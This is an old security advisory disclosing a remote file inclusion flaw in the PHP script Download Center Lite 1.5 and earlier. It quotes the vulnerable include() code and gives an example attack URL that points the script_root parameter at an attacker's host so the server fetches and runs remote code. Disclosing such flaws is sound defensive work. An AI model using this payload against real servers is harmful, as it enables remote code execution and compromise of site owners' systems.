[UNIX] Download Center Lite Arbitrary File Inclusion

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Date: 03/23/05

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      Download Center Lite Arbitrary File Inclusion
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    SUMMARY

    " <http://www.stadtaus.com/php_scripts/download_center_lite/> Download
    Center Lite is easy to use download manager for Internet pages, it allows
    hiding real path to downloads and preventing direct access to download
    folders."

    The default settings of Download Center Lite(DCL) allow attackers to cause
    the program to include arbitrary files.

    DETAILS

    Vulnerable Systems:
     * Download Center Lite version 1.5 and prior

    Download Center Lite combined with the PHP variable: register_globals=on
    and allow_url_fopen=on, allows remote attackers to include any file they
    desire from a remote machine in addition to causing its execution.

    Example:
    http://[victim]/[dir]/inc/download_center_lite.inc.php?script_root=http://[hacker_box]/

    Vulnerable code in inc/download_center_lite.inc.php:
    /*********************************
    Include some files
    **********************************/
    include($script_root . 'inc/functions.inc.php');
    include($script_root . 'inc/template.class.inc.php');
    include($script_root . 'inc/log_downloads.class.inc.php');
    include($script_root . 'languages/language.' . $language . '.inc.php');

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:groszynskif@gmail.com> Filip
    Groszynski.

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